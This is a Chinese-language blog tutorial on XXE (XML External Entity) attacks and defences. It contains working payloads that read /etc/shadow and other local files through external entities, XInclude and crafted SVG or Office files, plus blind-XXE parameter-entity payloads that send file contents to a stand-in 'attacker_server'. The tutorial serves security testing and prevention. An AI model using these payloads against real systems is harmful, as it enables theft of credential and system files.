前置知識
XXE如何理解?
它是可擴展標記語言 ( XML) 用于存盤和傳輸資料,
通常始于異步JavaScript和XML技術(ajax技術):網頁應用能夠快速地將增量更新呈現在用戶界面上,而不需要多載(重繪)整個頁面,
目前JSON的使用比XML更加普遍,JSON和XML都被用于在Ajax模型中的XML技術,
這種標記語言允許開發人員定義和表示任意資料結構的HTML,
以下為定義屬性和值的Security Assertion Markup Language(SAML)語言
<saml:AttributeStatement>
<saml:Attribute Name="username"> # 定義屬性
<saml:AttributeValue> # 定義值
vickieli
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
XML 格式廣泛用于 Web 應用程式的各種功能,包括身份驗證、檔案傳輸和影像上傳,或者只是將 HTTP 資料從客戶端傳輸到服務器并回傳,
XML 檔案可以包含 檔案型別定義 ( DTD) ,它定義了 XML 檔案的結構及其包含的資料,
注意:&file; 是物體,而不是外部物體,
這些DTD可以從外部加載或在檔案本身的DOCTYPE標簽中宣告
以下是一個DTD,它定義了一個名為file的XML物體
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file "Hello!">
]>
<example>&file;</example> # &file; = Hello!
我們可以將XML的物體,理解于類似編程語言中的變數:即,&file; = Hello!
XML 檔案還可以使用外部物體通過 URL 訪問本地或遠程內容,
當語法中使用SYSTEM 關鍵字時,則該物體是外部物體,其值將從URL加載
URL可以從本地檔案系統中加載,也可以從互聯網中加載
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file SYSTEM "file:///example.txt">
]>
<example>&file;</example>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file SYSTEM "http://example.com/index.html">
]>
<example>&file;</example>
【查看資料】
物體與外部物體
我們知道了,XML外部物體的由來,也能夠區分它們的一紙之隔(有沒有語法SYSTEM 關鍵字的定義)
不管是什么物體(如果用戶可以控制 XML 物體或外部物體的值),則可以基于xml技術后的各種網站業務功能點(比如,實際網站在使用此技術上傳檔案)或者此技術的決議引擎來產生各種漏洞,
已知的威脅來自于兩點
1.攻擊者可以控制物體的值,
2.xml決議器錯誤的配置為從輸入的地方讀取xml檔案時決議和評估 DTD,攻擊者可以宣告自己的外部物體以實作惡意結果,
此類攻擊稱為 XML 外部物體攻擊,或 XXEs,
防御
防止 XXE 就是限制 XML 決議器的功能,因為 XXE 攻擊需要 DTD 處理,應該盡可能禁用 XML 決議器上的 DTD 處理,
如果無法完全禁用 DTD,您可以禁用外部物體、引數物體,
為了防止基于 XXE 的 DoS,您可以限制 XML 決議器的決議時間和決議深度, 您還可以完全禁用物體的擴展,
禁用 DTD 處理和配置決議器行為的機制因使用的 XML 決議器而異,
比如:PHP XML 決議器,需要設定 libxml_disable_entity_loader 為 TRUE來禁用外部物體,
其他語言的最佳配置與實踐請參考owasp備忘單,以及各種官方檔案與靜態分析軟體的官網檔案
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md
甲骨文的最佳實踐建議【網路安全學習資料·攻略】

靜態代碼分析sonarsource的最佳實踐建議
https://rules.sonarsource.com/java?search=XXE

另一條防御角度是輸入驗證,黑白名單等
為了防止盲XXE,可以禁止出站的網路流量,
XXE的特征值
在使用bp基于功能點的觀察與抓包時,<?xml是最明顯的一個提示,告訴您該站點在使用XML技術
還要注意base64編碼,LD94bWw,表示<?xml
還可以強制應用程式決議 XML 資料,即,網站明確的表現為在收發json資料,那能不能將此資料交換強制置為xml技術?配置上的失誤與一些不安全的默認項,使其變為現實,
修改content-type頭,強制輸入xml格式的資料【網路安全學習資料·攻略】
Content-Type: text/xml
Content-Type: application/xml
意識中,遇到的每一個功能點都假設,思維中思考此處的資料,后臺可能會接收與處理xml格式的資料,
經典的XXE測驗手法
顯注決議與其他注入類漏洞沒有什么本質上的區別,就是放置payload,回應包觀察;盲注與其他型別的漏洞也沒什么本質上的區別,使用第三方可控的服務器輔助觀察,比如dnslog,內網搭建測驗服務器等,觀察訪問日志,
測驗SYSTEM的外部物體,是否能被決議;是否能從本地加載;是否能從外部URL加載,
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test SYSTEM "Hello!">
]>
<example>&test;</example>
如果SYSTEM定義的外部物體都無法決議,那還是別亂懟了,人家在一開始就已經將DTD配置為最佳防御策略了,
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test SYSTEM "file:///etc/hostname">
]>
<example>&test;</example>
SYSTEM語法上的其他語法可選項,比如PUBLIC語法, "abc"是給決議器看的,與&test;關聯起來,將后面的值給它,
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test PUBLIC "abc" "file:///etc/hostname"> # "abc" 為標識ID,給決議器看的,它將abc與&test;關聯起來,并將payload替換給&test;
]>
<example>&test;</example>
測驗盲XXE
通過讓目標服務器向攻擊者的服務器發出請求并使用泄露的資訊來竊取資料,
確認服務器是否可以出站,訪問到攻擊者的服務器
關于dmz區域的防火墻流量的限制:80,443,53等基礎依賴埠先行測驗,因為網站業務需求,它自己就很可能需要從其他地方讀取其他圖片,js,css等資源,防火墻把所有的都禁止了,資源還如何加載進來,
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test SYSTEM "http://attacker_server:80/xxe_test.txt">
]>
<example>&test;</example>
在不同的檔案型別中插入 XXE payload
除了在 HTTP 請求正文上測驗 XXE 之外,您還可以嘗試將包含 XXE payload的檔案上傳到服務器,
網站可能限制了可以上傳的檔案型別,此時可以在不同的檔案型別中插入 XXE payload
這里僅示例幾個,其他檔案型別可以自行搜一搜
svg檔案,記事本打開編輯
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY test SYSTEM "file:///etc/shadow">
]>
<svg width="500" height="500">
<circle cx="50" cy="50" r="40" fill="blue" />
<text font-size="16" x="0" y="16">&test;</text>
</svg>
辦公檔案都是壓縮檔案
Microsoft Word 檔案( .docx 檔案)、PowerPoint 演示文稿 ( .pptx ) 和 Excel 作業表 ( .xlxs )
修改后綴名為zip,插入payload,打包還原【網路安全學習資料·攻略】

可以簡單地將payload插入 /word/document.xml 、 /ppt/presentation.xml 或 /xl/workbook.xml , 最后,將檔案重新打包為 .docx 、 .pptx 或 .xlxs 格式,

linux中的zip還原辦公檔案
cd example
zip -r new_example.docx *
XInclude攻擊
有時無法控制整個 XML 檔案或編輯 XML 檔案的 DTD, 但是,如果目標應用程式接受用戶輸入并將其插入到后端的 XML 檔案中,仍然可以利用 XXE 漏洞,
XInclude 是一個特殊的 XML 特性,它從名為 xi:include 的單個 XML 標記構建一個單獨的 XML 檔案,如果可以控制傳遞到 XML 檔案中的單個未經處理的資料,就可以在該值中放置 XInclude 攻擊,
輸入點payload如下,回應包觀察特征值
參考http://www.w3.org/2001/XInclude命名空間,以識別xi:include標簽的功能性特殊含義
<example xmlns:xi="http://www.w3.org/2001/XInclude"> # 參考http://www.w3.org/2001/XInclude命名空間,以識別xi:include標簽的功能性
<xi:include parse="text" href="file:///etc/hostname"/>
</example>
使用引數物體拼湊多型性payload
這種攻擊可能不起作用,因為大多數決議器不允許外部物體包含在其他外部物體中,
file包含在exfiltrate中,這種攻擊可能不起作用,
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file SYSTEM "file:///etc/shadow">
<!ENTITY exfiltrate SYSTEM "http://attacker_server/?&file;">
]>
<example>&exfiltrate;</example>
XML DTD 有一個稱為引數物體的特性,引數物體是只能在 DTD 內的其他地方參考的 XML 物體,它從外部加載DTD,用百分號 (%) 字符宣告和參考的,
決議器遇到符號 %,才將決議方式理解為外部DTD的模式,內部還是外部的DTD,由%于決議器中觸發,
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % ent "<!ENTITY % exfiltrate SYSTEM 'http://attacker_server/?%file;'>"> # %百分號的十六進制
%ent;
%exfiltrate;
]>
根據 XML 規范,在行內 DTD(在 DOCTYPE 標記內指定的 XML 檔案中的 DTD)和外部 DTD(在別處托管的單獨 DTD)中,引數物體的處理方式不同,在行內 DTD 中,不能在標記中參考引數物體,因此該行不起作用:<!ENTITY % exfiltrate SYSTEM 'http://attacker_server/?%file;'>,而在外部 DTD 中,不存在這樣的限制,
要通過盲XXE測驗的話,需要在攻擊者服務器上準備好xxe.dtd檔案,注意:這是直接盲測發給服務器的請求,引誘服務器加載http://attacker_server/xxe.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY % xxe SYSTEM "http://attacker_server/xxe.dtd">
%xxe;
]>
然后將payload撰寫于xxe.dtd檔案中,使用%或者不帶%等一切可行的payload來進行測驗,注意:以下才是攻擊者服務器上面準備好的payload,具體危害是讀取
file:///etc/shadow檔案,
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % ent "<!ENTITY % exfiltrate SYSTEM 'http://attacker_server/?%file;'>"> # %百分號的十六進制
%ent;
%exfiltrate;
]>
將dtd檔案payload部署于攻擊者服務器的示例

關于回傳資料的格式化問題
如果您嘗試讀取特定格式的檔案,則 XXE 資料泄露會變得更加復雜,
例如尖括號 (<>)、引號 (" 或 ') 和與號 (&)等各種特殊符號,它們在回傳資料的時候可能會被其他東西特殊對待與處理掉,
在 XML 檔案中,包裹在 CDATA(字符資料)標簽中的字符(<![CDATA[" "]]>)不會被視為特殊字符,
<!ENTITY % file SYSTEM "file:///passwords.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % ent "<!ENTITY % exfiltrate'http://attacker_server/?%start;%file;%end;'>">
%ent;
%exfiltrate;
感謝耐心的閱讀到了這里,關注我,持續更新,共勉,
私我獲取【網路安全學習資料·攻略】
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/340661.html
標籤:其他
